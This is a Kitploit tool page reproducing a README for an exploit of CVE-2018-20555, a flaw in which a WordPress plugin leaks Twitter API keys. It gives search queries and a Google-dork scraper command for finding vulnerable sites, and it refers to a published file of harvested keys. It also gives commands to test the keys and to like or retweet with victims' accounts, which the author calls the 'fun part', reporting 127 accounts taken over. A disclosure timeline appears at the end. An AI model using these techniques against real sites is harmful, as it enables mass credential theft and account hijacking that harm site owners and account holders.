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CVE-2018-20555 — Exploit for CVE-2018-20555: automated discovery and takeover of Twitter accounts via leaked API keys in vulnerable Social Network Tabs WordPress plugin, with scraping and mass exploitation capabilities. | Kitploit
Tools/GitHubGitHub/fs0c131y/cve-2018-20555
OSINT (Open Source Intelligence)Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringCrawler
GitHubfs0c131y/cve-2018-20555

CVE-2018-20555

Exploit for CVE-2018-20555: automated discovery and takeover of Twitter accounts via leaked API keys in vulnerable Social Network Tabs WordPress plugin, with scraping and mass exploitation capabilities.

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711827 years agoReviewed by Kitploit

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CVE-2018-20555

The Wordpress Plugin called Social Network Tabs, made by the company Design Chemical, is leaking twice the Twitter access_token, access_token_secret, consumer_key and consumer_secret of their user which is leading to a takeover of their Twitter account.

This is caused by the following lines of code within the page where the Twitter widget is displayed:

root@kitploit:~
jQuery(document).ready(function ($) {
	var config = {
		widgets: "twitter,facebook,youtube",
		twitterId: "[redacted]",
		facebookId: "[redacted]",
		youtubeId: "[redacted]",
		twitter: {
			url: "https://www.rainx.com/wp-content/plugins/social-network-tabs/inc/dcwp_twitter.php?1=%5Breadcted%5D&2=%5Bredacted%5D&3=%5Bredacted%5D&4=%5Bredacted%5D …",
			title: "Latest Tweets",
			follow: "Follow",
			followId: "",
			limit: "10",
			retweets: true,
			replies: true,
			images: "thumb",
			consumer_key: "[redacted]",
			consumer_secret: "[redacted]",
			access_token: "[redacted]",
			access_token_secret: "[redacted]"
		},
	}
});

Exploitation

Thanks to Publicwww, with the following search queries, I managed to retrieve the Twitter access_token, access_token_secret, consumer_key and consumer_secret from 539 vulnerable websites:

  • dcwp_twitter.php access_token_secret snipexp:|access_token: "([\w\d-._]+)"|
  • dcwp_twitter.php access_token_secret snipexp:|access_token_secret: "([\w\d-._]+)"|
  • dcwp_twitter.php access_token_secret snipexp:|consumer_key: "([\w\d-._]+)"|
  • dcwp_twitter.php access_token_secret snipexp:|consumer_secret: "([\w\d-._]+)"|

All the keys are available in twitter_keys.csv.

How to

Test the Twitter API keys in twitter_keys.csv

root@kitploit:~
python test_twitter_api_keys.py -t

The 1st time I had run this command, I got the information of 446 Twitter accounts. It's worth mentioning that there were 2 verified accounts in the list and multiple accounts with more than 10K+ followers. All the vulnerable accounts are in vulnerable_accounts.txt.

Fun part

Like the tweet of your choice

root@kitploit:~
python test_twitter_api_keys.py -l [tweet_id]

Retweet the tweet of your choice

root@kitploit:~
python test_twitter_api_keys.py -r [tweet_id]

The 1st time I run this command, I managed to liked the tweet of my choice 127 times, which shown that 127 Twitter api keys had the read write rights aka I was able to take over 127 Twitter accounts (change profile picture, like, retweet, change bio,...) due to this key leaks.

UPDATE 17/01/18

A lot of websites and so Twitter accounts are still vulnerable to this issue. In order to identify them, I created a scraper

root@kitploit:~
cd TwitterApiKeysSearchEngine/

scrapy crawl TwitterApiKeysSpider -a keyword="inurl:/inc/dcwp_twitter.php?1=" -a se=google -a pages=10

The total of results for this Google search query is 3550. Among the 9 first pages, I managed to retrieved 78 keys (86%). Enjoy!

Disclosure

  • 01/12/18: Disclosure to Twitter
  • 0X/12/18: Twitter deactivated all the keys
  • 11/12/18: Acknowledgement as a valid security issue by Twitter

Contact

Follow me on Twitter! You can also find a small part of my work at https://fs0c131y.com

Credits

The investigation and the POC has been made with ❤️ by @fs0c131y

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